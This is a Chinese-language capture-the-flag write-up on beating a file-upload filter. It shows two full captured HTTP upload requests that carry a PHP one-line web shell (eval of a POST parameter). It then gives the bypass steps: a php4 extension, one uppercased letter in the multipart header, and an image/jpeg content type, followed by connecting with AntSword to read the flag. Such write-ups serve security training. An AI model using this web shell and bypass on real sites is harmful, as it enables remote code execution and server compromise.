提示他的名字是margin，给他一个图片文件，不要php文件
上传一句话木马的图片
抓包，后缀改为php
提示无效文件，即后台还会检测一次后缀
测试后台系统
为linux系统
开始绕过
截断绕过
上传成功，但是会变为jpg
开始分析报文
木马图片报文
POST /index.php HTTP/1.1
Host: 114.67.175.224:11895
Content-Length: 319
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.175.224:11895
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX2F8o0V31B8bZ2Zn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://114.67.175.224:11895/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0
Connection: close
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn
Content-Disposition: form-data; name="file"; filename="look.jpg"
Content-Type: image/jpeg
<?php phpinfo();eval($_POST['cmd']);?>
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn--木马php文件报文
POST /index.php HTTP/1.1
Host: 114.67.175.224:11895
Content-Length: 333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.175.224:11895
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNpcrwyqI789or19t
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://114.67.175.224:11895/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0
Connection: close
------WebKitFormBoundaryNpcrwyqI789or19t
Content-Disposition: form-data; name="file"; filename="look.php"
Content-Type: application/octet-stream
<?php phpinfo();eval($_POST['cmd']);?>
------WebKitFormBoundaryNpcrwyqI789or19t
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryNpcrwyqI789or19t--对比两者报文，发现Content-Type不同
但是改完后还是不行
这里看完评论区后得到要将报文头部的
Content-Type: multipart/form-data;
其中multipart/form-data中的任意字母大写，从而绕过后台
但是没有源码怎么能知道呢？
这题这里就出现了bug。。。。
得到这个bug后开始绕过
文件后缀改为php4
头部大写一个字母
数据处Content-Type改为image/jpeg
即可成功绕过
蚁剑连接后在根目录下看到flag
得到flag
